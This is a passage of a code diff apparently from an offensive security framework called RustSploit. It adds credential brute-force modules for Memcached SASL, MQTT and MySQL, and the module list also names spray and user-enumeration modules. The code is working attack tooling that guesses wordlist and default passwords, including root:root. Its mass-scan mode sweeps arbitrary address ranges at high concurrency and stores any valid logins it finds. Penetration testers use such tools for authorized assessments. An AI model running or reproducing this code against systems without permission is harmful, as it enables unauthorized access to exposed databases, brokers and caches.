)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// Memcached protocol helpers
// ============================================================================
enum MemcachedStatus {
/// Instance is open (no auth), includes the version string.
Open(String),
/// Instance requires SASL authentication.
AuthRequired,
/// Cannot reach the instance.
Unreachable(String),
}
/// Check if a Memcached instance is open (no auth) or requires SASL.
async fn check_memcached_open(
addr: &str,
connect_timeout: Duration,
read_timeout: Duration,
) -> MemcachedStatus {
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
Ok(s) => s,
Err(e) => return MemcachedStatus::Unreachable(e.to_string()),
};
// Send text protocol "version" command
if let Err(e) = timeout(connect_timeout, stream.write_all(b"version\r\n")).await {
return MemcachedStatus::Unreachable(format!("Write error: {}", e));
}
let mut buf = vec![0u8; 1024];
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return MemcachedStatus::Unreachable("Empty response".to_string()),
Ok(Err(e)) => return MemcachedStatus::Unreachable(format!("Read error: {}", e)),
Err(_) => return MemcachedStatus::Unreachable("Read timeout".to_string()),
};
let response = String::from_utf8_lossy(&buf[..n]);
if response.contains("VERSION") {
MemcachedStatus::Open(response.trim().to_string())
} else if response.contains("ERROR") {
MemcachedStatus::AuthRequired
} else {
MemcachedStatus::Unreachable(format!("Unknown response: {}", response.trim()))
}
}
/// Build a Memcached binary protocol SASL Auth request packet.
///
/// Binary protocol header (24 bytes):
/// magic: 0x80 (request)
/// opcode: 0x21 (SASL Auth)
/// key_length: length of "PLAIN"
/// extras_length: 0
/// data_type: 0
/// vbucket/status: 0
/// total_body_length: key_len + value_len
/// opaque: 0
/// cas: 0
/// key: "PLAIN"
/// value: "\0username\0password"
fn build_sasl_auth_packet(username: &str, password: &str) -> Vec<u8> {
let mechanism = b"PLAIN";
let key_len = mechanism.len() as u16;
// SASL PLAIN payload: \0username\0password
let mut sasl_payload = Vec::new();
sasl_payload.push(0x00);
sasl_payload.extend_from_slice(username.as_bytes());
sasl_payload.push(0x00);
sasl_payload.extend_from_slice(password.as_bytes());
let value_len = sasl_payload.len();
let total_body_len = (key_len as u32) + (value_len as u32);
let mut packet = Vec::with_capacity(24 + total_body_len as usize);
// Header (24 bytes)
packet.push(BINARY_MAGIC_REQUEST); // magic
packet.push(OPCODE_SASL_AUTH); // opcode
packet.extend_from_slice(&key_len.to_be_bytes()); // key length
packet.push(0x00); // extras length
packet.push(0x00); // data type
packet.extend_from_slice(&0u16.to_be_bytes()); // vbucket/status
packet.extend_from_slice(&total_body_len.to_be_bytes()); // total body length
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
packet.extend_from_slice(&0u64.to_be_bytes()); // CAS
// Body
packet.extend_from_slice(mechanism); // key: "PLAIN"
packet.extend_from_slice(&sasl_payload); // value: \0user\0pass
packet
}
/// Parse the status code from a Memcached binary protocol response.
/// The status is at bytes 6-7 (big-endian u16) of the 24-byte header.
fn parse_binary_response_status(response: &[u8]) -> Option<u16> {
if response.len() < 24 {
return None;
}
if response[0] != BINARY_MAGIC_RESPONSE {
return None;
}
Some(u16::from_be_bytes([response[6], response[7]]))
}
/// Attempt Memcached SASL PLAIN authentication over the binary protocol.
///
/// Opens a fresh TCP connection, sends a SASL Auth request with the PLAIN
/// mechanism, and parses the binary response status.
///
/// Returns:
/// - `Ok(true)` — SASL authentication succeeded (status 0x0000)
/// - `Ok(false)` — authentication rejected (status 0x0020)
/// - `Err(_)` — connection/timeout/protocol error
async fn try_memcached_sasl(
addr: &str,
username: &str,
password: &str,
connect_timeout: Duration,
read_timeout: Duration,
) -> Result<bool> {
let mut stream = match crate::utils::network::tcp_connect(addr, connect_timeout).await {
Ok(s) => s,
Err(e) => {
let err_str = e.to_string();
if err_str.contains("Connection refused") || err_str.contains("connect") {
return Err(anyhow!("Connection refused: {}", err_str));
}
return Err(anyhow!("Connection error: {}", err_str));
}
};
let packet = build_sasl_auth_packet(username, password);
// Send the SASL auth packet
match timeout(connect_timeout, stream.write_all(&packet)).await {
Ok(Ok(())) => {}
Ok(Err(e)) => return Err(anyhow!("Write error: {}", e)),
Err(_) => return Err(anyhow!("Write timeout")),
}
// Read the response (at least 24-byte header)
let mut buf = vec![0u8; 256];
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
Ok(Ok(n)) if n >= 24 => n,
Ok(Ok(n)) if n > 0 => {
return Err(anyhow!(
"Incomplete binary response ({} bytes, need >= 24)",
n
));
}
Ok(Ok(_)) => return Err(anyhow!("Empty response from server")),
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
Err(_) => return Err(anyhow!("Read timeout")),
};
match parse_binary_response_status(&buf[..n]) {
Some(SASL_STATUS_SUCCESS) => Ok(true),
Some(SASL_STATUS_AUTH_ERROR) => Ok(false),
Some(status) => Err(anyhow!("Unexpected SASL response status: 0x{:04x}", status)),
None => Err(anyhow!("Invalid binary protocol response")),
}
}
+25 -8
View File
@@ -1,11 +1,28 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod couchdb_bruteforce;
pub mod elasticsearch_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod fortinet_bruteforce;
pub mod ftp_anonymous;
pub mod ftp_bruteforce;
pub mod http_basic_bruteforce;
pub mod imap_bruteforce;
pub mod l2tp_bruteforce;
pub mod memcached_bruteforce;
pub mod mqtt_bruteforce;
pub mod mysql_bruteforce;
pub mod pop3_bruteforce;
pub mod postgres_bruteforce;
pub mod proxy_bruteforce;
pub mod rdp_bruteforce;
pub mod redis_bruteforce;
pub mod rtsp_bruteforce;
pub mod sample_cred_check;
pub mod smtp_bruteforce;
pub mod snmp_bruteforce;
pub mod ssh_bruteforce;
pub mod ssh_spray;
pub mod ssh_user_enum;
pub mod telnet_bruteforce;
pub mod telnet_hose;
pub mod vnc_bruteforce;
@@ -0,0 +1,757 @@
//! MQTT Brute Force Module
//!
//! High-performance MQTT authentication testing with:
//! - TLS/SSL support (port 8883)
//! - Anonymous authentication detection
//! - Intelligent error classification
//! - Progress tracking and statistics
//! - Multiple attack modes (full combo, linear, single user/pass)
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "MQTT Brute Force".to_string(),
description: "High-performance MQTT authentication testing with TLS/SSL support, anonymous authentication detection, intelligent error classification, and multiple attack modes.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Constants
// ============================================================================
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
// MQTT Protocol Constants
const MQTT_PACKET_CONNECT: u8 = 0x10;
const MQTT_PACKET_CONNACK: u8 = 0x20;
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
// MQTT Connect Flags
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
const MQTT_FLAG_USERNAME: u8 = 0x80;
const MQTT_FLAG_PASSWORD: u8 = 0x40;
// MQTT Return Codes
#[derive(Debug, Clone, Copy, PartialEq)]
enum MqttReturnCode {
Accepted,
UnacceptableProtocol,
IdentifierRejected,
ServerUnavailable,
BadCredentials,
NotAuthorized,
Unknown(u8),
}
impl MqttReturnCode {
fn from_byte(b: u8) -> Self {
match b {
0x00 => Self::Accepted,
0x01 => Self::UnacceptableProtocol,
0x02 => Self::IdentifierRejected,
0x03 => Self::ServerUnavailable,
0x04 => Self::BadCredentials,
0x05 => Self::NotAuthorized,
_ => Self::Unknown(b),
}
}
fn is_auth_failure(&self) -> bool {
matches!(self, Self::BadCredentials | Self::NotAuthorized)
}
fn description(&self) -> &'static str {
match self {
Self::Accepted => "Connection Accepted",
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
Self::IdentifierRejected => "Identifier Rejected",
Self::ServerUnavailable => "Server Unavailable",
Self::BadCredentials => "Bad Username or Password",
Self::NotAuthorized => "Not Authorized",
Self::Unknown(_) => "Unknown Return Code",
}
}
}
// ============================================================================
// Attack Result
// ============================================================================
#[derive(Debug)]
enum AttackResult {
Success(String, String), // (username, password)
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let port = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
let use_tls = if port == 8883 {
crate::mprintln!(
"{}",
"[*] Port 8883 detected - TLS enabled by default".blue()
);
true
} else {
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
};
let username_wordlist =
cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let password_wordlist =
cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let users = std::sync::Arc::new(load_lines(&username_wordlist)?);
let passes = std::sync::Arc::new(load_lines(&password_wordlist)?);
if users.is_empty() {
return Err(anyhow!("User list empty"));
}
if passes.is_empty() {
return Err(anyhow!("Pass list empty"));
}
let client_id =
cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
let client_id = std::sync::Arc::new(client_id);
let cfg = MassScanConfig {
protocol_name: "MQTT",
default_port: port,
state_file: "mqtt_brute_hose_state.log",
default_output: "mqtt_brute_mass_results.txt",
default_concurrency: 500,
};
return run_mass_scan(target, cfg, move |ip, port| {
let users = users.clone();
let passes = passes.clone();
let cid = client_id.clone();
async move {
// TCP connect check
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
return None;
}
let addr = format!("{}:{}", ip, port);
for user in users.iter() {
for pass in passes.iter() {
match try_mqtt_auth(&addr, user, pass, &cid, use_tls).await {
AttackResult::Success(u, p) => {
let timestamp = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
let line = format!("[{}] {}:{}:{}:{}\n", timestamp, ip, port, u, p);
crate::mprintln!(
"\r{}",
format!("[+] FOUND: {}:{}:{}:{}", ip, port, u, p)
.green()
.bold()
);
return Some(line);
}
AttackResult::ConnectionError(e) => {
let err = e.to_lowercase();
if err.contains("refused")
|| err.contains("timeout")
|| err.contains("reset")
{
return None;
}
}
_ => {}
}
}
}
None
}
})
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let port = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
let use_tls = if port == 8883 {
true
} else {
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
};
let username_wordlist =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let password_wordlist =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&username_wordlist)?;
let passes = load_lines(&password_wordlist)?;
if users.is_empty() {
return Err(anyhow!("User list empty"));
}
if passes.is_empty() {
return Err(anyhow!("Pass list empty"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000)
.await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"mqtt_subnet_results.txt",
)
.await?;
let client_id =
cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "mqtt",
jitter_ms: 50,
source_module: "creds/generic/mqtt_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let cid = client_id.clone();
async move {
let addr = format!("{}:{}", ip, port);
match try_mqtt_auth(&addr, &user, &pass, &cid, use_tls).await {
AttackResult::Success(_, _) => LoginResult::Success,
AttackResult::AuthFailed => LoginResult::AuthFailed,
AttackResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
AttackResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: true,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
let normalized_target = normalize_target(&target.to_string())?;
crate::mprintln!("{}", format!("[*] Target: {}", normalized_target).cyan());
crate::mprintln!();
// Port
let port: u16 = cfg_prompt_port("port", "MQTT Port (1883/8883)", 1883).await?;
// TLS auto-detection for port 8883
let use_tls = if port == 8883 {
crate::mprintln!(
"{}",
"[*] Port 8883 detected - TLS enabled by default".blue()
);
true
} else {
cfg_prompt_yes_no("use_tls", "Use TLS/SSL?", false).await?
};
// Anonymous authentication test
let test_anonymous = cfg_prompt_yes_no(
"test_anonymous",
"Test anonymous authentication first?",
true,
)
.await?;
// Client ID
let client_id = cfg_prompt_default("client_id", "MQTT Client ID", "rustsploit_mqtt").await?;
// Wordlists
let username_wordlist =
cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let password_wordlist =
cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
// Concurrency
let concurrency =
cfg_prompt_int_range("concurrency", "Concurrent connections", 10, 1, 500).await? as usize;
// Stop on first success
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
// Save results
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "mqtt_brute_results.txt").await?)
} else {
None
};
// Verbose
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
// Combo mode
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let usernames = load_lines(&username_wordlist)?;
let passwords = load_lines(&password_wordlist)?;
if usernames.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
crate::mprintln!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
crate::mprintln!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
crate::mprintln!(
"{}",
format!("[*] TLS: {}", if use_tls { "Enabled" } else { "Disabled" }).cyan()
);
let addr = format!("{}:{}", normalized_target, port);
// Test anonymous authentication before bruteforce
if test_anonymous {
crate::mprintln!("{}", "[*] Testing anonymous authentication...".blue());
match try_mqtt_auth(&addr, "", "", &client_id, use_tls).await {
AttackResult::Success(_, _) => {
crate::mprintln!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
{
let id = crate::cred_store::store_credential(
&normalized_target,
port,
"mqtt",
"(anonymous)",
"(no password)",
crate::cred_store::CredType::Password,
"creds/generic/mqtt_credcheck",
)
.await;
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
}
if stop_on_success {
crate::mprintln!(
"{}",
format!("[+] Found 1 valid credential(s):").green().bold()
);
crate::mprintln!(" {} {} (anonymous):(no password)", "".green(), addr);
return Ok(());
}
}
AttackResult::AuthFailed => {
crate::mprintln!(
"{}",
"[-] Anonymous access denied (authentication required)".yellow()
);
}
AttackResult::ConnectionError(e) => {
crate::mprintln!(
"{}",
format!("[!] Connection error during anonymous test: {}", e).yellow()
);
crate::mprintln!("{}", "[*] Continuing with credential brute force...".blue());
}
AttackResult::ProtocolError(e) => {
crate::mprintln!("{}", format!("[!] Protocol error: {}", e).yellow());
}
}
crate::mprintln!();
}
// Generate credential combos
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
// Build the try_login closure capturing MQTT-specific config
let try_login = move |_target: String, _port: u16, user: String, pass: String| {
let cid = client_id.clone();
async move {
let addr = format!("{}:{}", _target, _port);
match try_mqtt_auth(&addr, &user, &pass, &cid, use_tls).await {
AttackResult::Success(_, _) => LoginResult::Success,
AttackResult::AuthFailed => LoginResult::AuthFailed,
AttackResult::ConnectionError(e) => LoginResult::Error {
message: e,
retryable: true,
},
AttackResult::ProtocolError(e) => LoginResult::Error {
message: e,
retryable: true,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: normalized_target,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries: 3,
service_name: "mqtt",
jitter_ms: 50,
source_module: "creds/generic/mqtt_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored MQTT responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "mqtt_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# MQTT Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ MQTT Brute Force Module v2.0 ║".cyan()
);
crate::mprintln!(
"{}",
"║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
// ============================================================================
// MQTT Protocol Implementation
// ============================================================================
async fn try_mqtt_auth(
addr: &str,
username: &str,
password: &str,
client_id: &str,
use_tls: bool,
) -> AttackResult {
// Connect with timeout
let stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS)).await {
Ok(s) => s,
Err(e) => return AttackResult::ConnectionError(e.to_string()),
};
if use_tls {
// Wrap TCP stream with TLS for secure MQTT (port 8883)
use tokio_rustls::rustls::pki_types::ServerName;
let connector = crate::native::async_tls::make_dangerous_tls_connector();
// Extract hostname from addr (strip port)
let hostname = addr
.rsplit_once(':')
.map(|(h, _)| h.trim_matches(|c| c == '[' || c == ']'))
.unwrap_or(addr);
let server_name = match ServerName::try_from(hostname.to_string()) {
Ok(sn) => sn,
Err(e) => return AttackResult::ConnectionError(format!("Invalid server name: {}", e)),
};
let tls_stream = match tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
connector.connect(server_name, stream),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => {
return AttackResult::ConnectionError(format!("TLS handshake failed: {}", e))
}
Err(_) => return AttackResult::ConnectionError("TLS handshake timeout".to_string()),
};
match mqtt_handshake(tls_stream, username, password, client_id).await {
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
Ok(false) => AttackResult::AuthFailed,
Err(e) => AttackResult::ProtocolError(e.to_string()),
}
} else {
match mqtt_handshake(stream, username, password, client_id).await {
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
Ok(false) => AttackResult::AuthFailed,
Err(e) => AttackResult::ProtocolError(e.to_string()),
}
}
}
async fn mqtt_handshake<S>(
mut stream: S,
username: &str,
password: &str,
client_id: &str,
) -> Result<bool>
where
S: AsyncRead + AsyncWrite + Unpin,
{
// Build CONNECT packet
let packet = build_connect_packet(username, password, client_id)?;
// Send CONNECT
stream
.write_all(&packet)
.await
.context("Failed to send CONNECT")?;
stream.flush().await.context("Failed to flush")?;
// Read CONNACK
let mut header = [0u8; 2];
let read_result = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut header),
)
.await;
match read_result {
Ok(Ok(_)) => {}
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
Err(_) => return Err(anyhow!("Read timeout")),
}
if header[0] != MQTT_PACKET_CONNACK {
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
}
let remaining_len = header[1] as usize;
if remaining_len < 2 {
return Err(anyhow!("CONNACK too short"));
}
if remaining_len > 64 {
return Err(anyhow!("CONNACK too large: {} bytes", remaining_len));
}
let mut payload = vec![0u8; remaining_len];
tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
)
.await
.context("Read timeout")?
.context("Failed to read CONNACK payload")?;
// Parse return code (byte 1 of variable header)
let return_code = MqttReturnCode::from_byte(payload[1]);
// Send DISCONNECT on success
if return_code == MqttReturnCode::Accepted {
if let Err(e) = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await { crate::meprintln!("[!] Write error: {}", e); }
return Ok(true);
}
if return_code.is_auth_failure() {
return Ok(false);
}
// ServerUnavailable (0x03) is transient — return Ok(false) so engine retries
// UnacceptableProtocol (0x01) and IdentifierRejected (0x02) are config errors — not retryable
match return_code {
MqttReturnCode::ServerUnavailable => Ok(false),
_ => Err(anyhow!("MQTT error: {}", return_code.description())),
}
}
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
if username.len() > 65535 {
return Err(anyhow!("Username exceeds MQTT max length (65535 bytes)"));
}
if password.len() > 65535 {
return Err(anyhow!("Password exceeds MQTT max length (65535 bytes)"));
}
if client_id.len() > 65535 {
return Err(anyhow!("Client ID exceeds MQTT max length (65535 bytes)"));
}
let mut var_header = Vec::new();
// Protocol Name
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
// Protocol Level
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
// Connect Flags
let mut flags = MQTT_FLAG_CLEAN_SESSION;
if !username.is_empty() {
flags |= MQTT_FLAG_USERNAME;
}
if !password.is_empty() {
flags |= MQTT_FLAG_PASSWORD;
}
var_header.push(flags);
// Keep Alive (60 seconds)
var_header.extend_from_slice(&60u16.to_be_bytes());
// Payload
let mut payload = Vec::new();
// Client ID (required)
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
// Username (optional)
if !username.is_empty() {
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
}
// Password (optional)
if !password.is_empty() {
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
}
// Calculate remaining length
let remaining_length = var_header.len() + payload.len();
let remaining_bytes = encode_remaining_length(remaining_length)?;
// Build final packet
let mut packet =
Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
packet.push(MQTT_PACKET_CONNECT);
packet.extend_from_slice(&remaining_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
Ok(packet)
}
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
if length > 268_435_455 {
return Err(anyhow!("Packet too large"));
}
let mut bytes = Vec::with_capacity(4);
loop {
let mut byte = (length % 128) as u8;
length /= 128;
if length > 0 {
byte |= 0x80;
}
bytes.push(byte);
if length == 0 {
break;
}
}
Ok(bytes)
}
@@ -0,0 +1,725 @@
//! MySQL Brute Force Module
//!
//! Raw TCP wire-protocol implementation of MySQL native password authentication.
//! Supports single-target, subnet, and mass scan modes.
//!
//! Protocol flow:
//! 1. Read HandshakeV10 packet (protocol version 10)
//! 2. Extract 20-byte auth salt (scramble)
//! 3. Compute auth_response = SHA1(password) XOR SHA1(salt + SHA1(SHA1(password)))
//! 4. Send HandshakeResponse41 packet
//! 5. Read OK (0x00) / ERR (0xFF) response
use anyhow::{anyhow, Result};
use colored::*;
use sha1::{Sha1, Digest};
use std::io::Write;
use std::net::IpAddr;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_MYSQL_PORT: u16 = 3306;
const CONNECT_TIMEOUT_MS: u64 = 5000;
const READ_TIMEOUT_MS: u64 = 5000;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("root", ""),
("root", "mysql"),
("root", "password"),
("root", "123456"),
("admin", "admin"),
("mysql", "mysql"),
("root", "toor"),
("root", "admin"),
("admin", "password"),
];
// MySQL protocol constants
const MYSQL_PROTOCOL_V10: u8 = 10;
const CLIENT_PROTOCOL_41: u32 = 0x0200;
const CLIENT_SECURE_CONNECTION: u32 = 0x8000;
const CLIENT_PLUGIN_AUTH: u32 = 0x0008_0000;
const CHARSET_UTF8: u8 = 33; // utf8_general_ci
const MAX_PACKET_SIZE: u32 = 16_777_216;
// ============================================================================
// Module Info
// ============================================================================
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "MySQL Brute Force".to_string(),
description: "Brute-force MySQL authentication using native password wire protocol. \
Implements HandshakeV10 parsing and mysql_native_password auth over raw TCP. \
Supports default credential testing, wordlist combo mode, subnet scanning, and mass scan."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
.to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("{}", "=== MySQL Brute Force Module ===".bold());
crate::mprintln!("[*] Target: {}", target);
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} -- Mass Scan Mode", target).yellow());
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "MySQL",
default_port: DEFAULT_MYSQL_PORT,
state_file: "mysql_brute_hose_state.log",
default_output: "mysql_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| async move {
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
return None;
}
let addr = format!("{}:{}", ip, port);
// Try common default credentials
let creds = [
("root", "root"),
("root", ""),
("root", "mysql"),
("admin", "admin"),
("root", "password"),
("root", "123456"),
];
for (user, pass) in creds {
match try_mysql_auth(&addr, user, pass).await {
MysqlResult::Success => {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
}
MysqlResult::ConnectionError(_) => return None,
MysqlResult::AuthFailed | MysqlResult::ProtocolError(_) => {}
}
}
None
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("User list empty"));
}
if passes.is_empty() {
return Err(anyhow!("Pass list empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"mysql_subnet_results.txt",
)
.await?;
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "mysql",
jitter_ms: 50,
source_module: "creds/generic/mysql_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| async move {
let addr = format!("{}:{}", ip, port);
